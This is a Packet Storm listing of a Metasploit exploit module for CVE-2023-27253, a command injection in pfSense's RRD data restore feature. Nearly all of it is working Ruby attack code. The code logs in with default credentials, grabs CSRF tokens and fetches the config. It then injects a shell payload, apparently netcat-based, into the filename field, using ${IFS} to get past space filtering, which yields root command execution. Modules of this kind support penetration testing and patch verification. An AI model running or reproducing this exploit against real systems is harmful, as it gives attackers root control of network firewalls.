Lucene search

K
packetstormEmir Polat, metasploit.comPACKETSTORM:173487
HistoryJul 13, 2023 - 12:00 a.m.

pfSense Restore RRD Data Command Injection

2023-07-1300:00:00
Emir Polat, metasploit.com
packetstormsecurity.com
194
pfsense
command injection
authenticated user
os command execution
version 2.6.0-release

0.481 Medium

EPSS

Percentile

97.5%

`class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'pfSense Restore RRD Data Command Injection',  
'Description' => %q{  
This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of  
pfSense prior to version 2.7.0 which allows an authenticated attacker with the "WebCfg - Diagnostics: Backup & Restore"  
privilege to execute arbitrary operating system commands as the "root" user.  
  
This module has been tested successfully on version 2.6.0-RELEASE.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Emir Polat', # vulnerability discovery & metasploit module  
],  
'References' => [  
['CVE', '2023-27253'],  
['URL', 'https://redmine.pfsense.org/issues/13935'],  
['URL', 'https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94']  
],  
'DisclosureDate' => '2023-03-18',  
'Platform' => ['unix'],  
'Arch' => [ ARCH_CMD ],  
'Privileged' => true,  
'Targets' => [  
[ 'Automatic Target', {}]  
],  
'Payload' => {  
'BadChars' => "\x2F\x27",  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic netcat'  
}  
},  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]  
}  
)  
)  
  
register_options [  
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),  
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense'])  
]  
end  
  
def check  
unless login  
return Exploit::CheckCode::Unknown("#{peer} - Could not obtain the login cookies needed to validate the vulnerability!")  
end  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
  
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?  
return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200  
  
unless res&.body&.include?('Diagnostics: ')  
return Exploit::CheckCode::Safe('Vulnerable module not reachable')  
end  
  
version = detect_version  
unless version  
return Exploit::CheckCode::Detected('Unable to get the pfSense version')  
end  
  
unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE')  
return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected")  
end  
  
Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!")  
end  
  
def login  
# Skip the login process if we are already logged in.  
return true if @logged_in  
  
csrf = get_csrf('index.php', 'GET')  
unless csrf  
print_error('Could not get the expected CSRF token for index.php when attempting login!')  
return false  
end  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'POST',  
'vars_post' => {  
'__csrf_magic' => csrf,  
'usernamefld' => datastore['USERNAME'],  
'passwordfld' => datastore['PASSWORD'],  
'login' => ''  
},  
'keep_cookies' => true  
)  
  
if res && res.code == 302  
@logged_in = true  
true  
else  
false  
end  
end  
  
def detect_version  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
  
# If the response isn't a 200 ok response or is an empty response, just return nil.  
unless res && res.code == 200 && res.body  
return nil  
end  
  
if (%r{Version.+<strong>(?<version>[0-9.]+-RELEASE)\n?</strong>}m =~ res.body).nil?  
nil  
else  
version  
end  
end  
  
def get_csrf(uri, methods)  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, uri),  
'method' => methods,  
'keep_cookies' => true  
)  
  
unless res && res.body  
return nil # If no response was returned or an empty response was returned, then return nil.  
end  
  
# Try regex match the response body and save the match into a variable named csrf.  
if (/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body).nil?  
return nil # No match could be found, so the variable csrf won't be defined.  
else  
return csrf  
end  
end  
  
def drop_config  
csrf = get_csrf('diag_backup.php', 'GET')  
unless csrf  
fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when dropping the config!')  
end  
  
post_data = Rex::MIME::Message.new  
  
post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')  
post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')  
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')  
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')  
post_data.add_part('Download configuration as XML', nil, nil, 'form-data; name="download"')  
post_data.add_part('', nil, nil, 'form-data; name="restorearea"')  
post_data.add_part('', 'application/octet-stream', nil, 'form-data; name="conffile"')  
post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),  
'method' => 'POST',  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'data' => post_data.to_s,  
'keep_cookies' => true  
)  
  
if res && res.code == 200 && res.body =~ /<rrddatafile>/  
return res.body  
else  
return nil  
end  
end  
  
def exploit  
unless login  
fail_with(Failure::NoAccess, 'Could not obtain the login cookies!')  
end  
  
csrf = get_csrf('diag_backup.php', 'GET')  
unless csrf  
fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when starting exploitation!')  
end  
  
config_data = drop_config  
if config_data.nil?  
fail_with(Failure::UnexpectedReply, 'The drop config response was empty!')  
end  
  
if (%r{<filename>(?<file>.*?)</filename>} =~ config_data).nil?  
fail_with(Failure::UnexpectedReply, 'Could not get the filename from the drop config response!')  
end  
config_data.gsub!(' ', '${IFS}')  
send_p = config_data.gsub(file, "WAN_DHCP-quality.rrd';#{payload.encoded};")  
  
post_data = Rex::MIME::Message.new  
  
post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')  
post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')  
post_data.add_part('yes', nil, nil, 'form-data; name="donotbackuprrd"')  
post_data.add_part('yes', nil, nil, 'form-data; name="backupssh"')  
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')  
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')  
post_data.add_part('rrddata', nil, nil, 'form-data; name="restorearea"')  
post_data.add_part(send_p.to_s, 'text/xml', nil, "form-data; name=\"conffile\"; filename=\"rrddata-config-pfSense.home.arpa-#{rand_text_alphanumeric(14)}.xml\"")  
post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')  
post_data.add_part('Restore Configuration', nil, nil, 'form-data; name="restore"')  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),  
'method' => 'POST',  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'data' => post_data.to_s,  
'keep_cookies' => true  
)  
  
if res  
print_error("The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of #{res.code}. Try rerunning the module.")  
end  
end  
end  
`

0.481 Medium

EPSS

Percentile

97.5%